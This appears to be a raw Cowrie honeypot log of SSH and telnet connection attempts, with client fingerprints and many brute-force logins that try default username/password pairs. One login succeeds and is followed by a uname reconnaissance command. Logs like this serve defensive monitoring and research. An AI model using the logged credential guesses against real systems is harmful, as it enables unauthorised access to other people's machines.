{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":50214,"dst_ip":"159.203.135.109","dst_port":22,"session":"28c819bd1fd1","protocol":"ssh","message":"New connection: 213.135.168.228:50214 (159.203.135.109:22) [session: 28c819bd1fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:31.097359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:31.102024Z","src_ip":"213.135.168.228","session":"28c819bd1fd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:31.110637Z","src_ip":"176.65.132.129","session":"34d8ee76c68e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:31.233704Z","src_ip":"213.135.168.228","session":"28c819bd1fd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"firebird","message":"login attempt [root/firebird] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:31.791217Z","src_ip":"213.135.168.228","session":"28c819bd1fd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:32.195235Z","src_ip":"176.65.132.129","session":"34d8ee76c68e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:32.926009Z","src_ip":"213.135.168.228","session":"28c819bd1fd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37802,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2c1f1574338","protocol":"ssh","message":"New connection: 176.65.132.129:37802 (159.203.135.109:22) [session: f2c1f1574338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:34.021466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:34.026596Z","src_ip":"176.65.132.129","session":"f2c1f1574338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:34.109945Z","src_ip":"176.65.132.129","session":"f2c1f1574338","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei12","message":"login attempt [root/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:34.357298Z","src_ip":"176.65.132.129","session":"f2c1f1574338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:35.442422Z","src_ip":"176.65.132.129","session":"f2c1f1574338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":45496,"dst_ip":"10.17.0.5","dst_port":22,"session":"812bc6a3c3c6","protocol":"ssh","message":"New connection: 20.193.250.100:45496 (10.17.0.5:22) [session: 812bc6a3c3c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:36.780461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:36.785398Z","src_ip":"20.193.250.100","session":"812bc6a3c3c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:37.052742Z","src_ip":"20.193.250.100","session":"812bc6a3c3c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49460,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac8c5385fbe8","protocol":"ssh","message":"New connection: 176.65.132.129:49460 (159.203.135.109:22) [session: ac8c5385fbe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:37.287050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:37.292553Z","src_ip":"176.65.132.129","session":"ac8c5385fbe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:37.473960Z","src_ip":"176.65.132.129","session":"ac8c5385fbe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:37.810550Z","src_ip":"176.65.132.129","session":"ac8c5385fbe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dont4get","message":"login attempt [root/dont4get] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:37.877362Z","src_ip":"20.193.250.100","session":"812bc6a3c3c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":40700,"dst_ip":"159.203.135.109","dst_port":22,"session":"66343d1dd3da","protocol":"ssh","message":"New connection: 62.54.176.203:40700 (159.203.135.109:22) [session: 66343d1dd3da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:38.217958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:38.222801Z","src_ip":"62.54.176.203","session":"66343d1dd3da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:38.325902Z","src_ip":"62.54.176.203","session":"66343d1dd3da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57366,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f61aa45dede","protocol":"telnet","message":"New connection: 152.42.224.71:57366 (10.17.0.5:23) [session: 7f61aa45dede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:38.715157Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"porquinho","message":"login attempt [root/porquinho] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:38.814879Z","src_ip":"62.54.176.203","session":"66343d1dd3da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:38.899788Z","src_ip":"176.65.132.129","session":"ac8c5385fbe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:39.088411Z","src_ip":"20.193.250.100","session":"812bc6a3c3c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57378,"dst_ip":"10.17.0.5","dst_port":23,"session":"32a3b92d1152","protocol":"telnet","message":"New connection: 152.42.224.71:57378 (10.17.0.5:23) [session: 32a3b92d1152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:39.742603Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:39.943964Z","src_ip":"62.54.176.203","session":"66343d1dd3da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57380,"dst_ip":"10.17.0.5","dst_port":23,"session":"67ba67241cf5","protocol":"telnet","message":"New connection: 152.42.224.71:57380 (10.17.0.5:23) [session: 67ba67241cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:39.968410Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49472,"dst_ip":"159.203.135.109","dst_port":22,"session":"7adb7a3c6dcc","protocol":"ssh","message":"New connection: 176.65.132.129:49472 (159.203.135.109:22) [session: 7adb7a3c6dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:40.623146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:40.628037Z","src_ip":"176.65.132.129","session":"7adb7a3c6dcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:40.710574Z","src_ip":"176.65.132.129","session":"7adb7a3c6dcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:40.961623Z","src_ip":"176.65.132.129","session":"7adb7a3c6dcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:42.126117Z","src_ip":"176.65.132.129","session":"7adb7a3c6dcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49498,"dst_ip":"159.203.135.109","dst_port":22,"session":"04b7963cfa73","protocol":"ssh","message":"New connection: 176.65.132.129:49498 (159.203.135.109:22) [session: 04b7963cfa73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:43.813314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:43.818109Z","src_ip":"176.65.132.129","session":"04b7963cfa73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:43.901366Z","src_ip":"176.65.132.129","session":"04b7963cfa73","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:44.149940Z","src_ip":"176.65.132.129","session":"04b7963cfa73","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:44.365090Z","src_ip":"176.65.132.129","session":"04b7963cfa73","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:44.369331Z","src_ip":"176.65.132.129","session":"04b7963cfa73","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:44.455308Z","src_ip":"176.65.132.129","session":"04b7963cfa73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:44.460382Z","src_ip":"176.65.132.129","session":"04b7963cfa73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37784,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7cbab0e089a","protocol":"ssh","message":"New connection: 176.65.132.129:37784 (159.203.135.109:22) [session: a7cbab0e089a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:47.151112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:47.269559Z","src_ip":"176.65.132.129","session":"a7cbab0e089a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac